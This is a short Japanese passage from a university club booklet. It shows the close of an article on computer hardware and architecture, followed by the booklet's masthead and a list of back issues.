レジスタ、メモリの拡張です。興味がある方はぜひやってみください！

2 最後に
中途半端なところで終わってしまいました。本当は最初から最後 (アーキテクチャ作成)まで書きたかったのですが仕方ないで

す。ハードウェアを知らなくてもプログラミングが出きるし携帯電話使える時代ですが、ぜひハードウェアの方も目を向けてあ
げてください。

5
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hyakumangoku百萬石
毎年度 春、秋に発行！

MMA 公式活動情報誌！

●バックナンバーのご紹介

バックナンバーは MMA のウェブサイトにてご覧になれます。

http://wiki.mma.club.uec.ac.jp/Booklet

● 2011 年春号 ● 2010 年秋号 ● 2010 年春号
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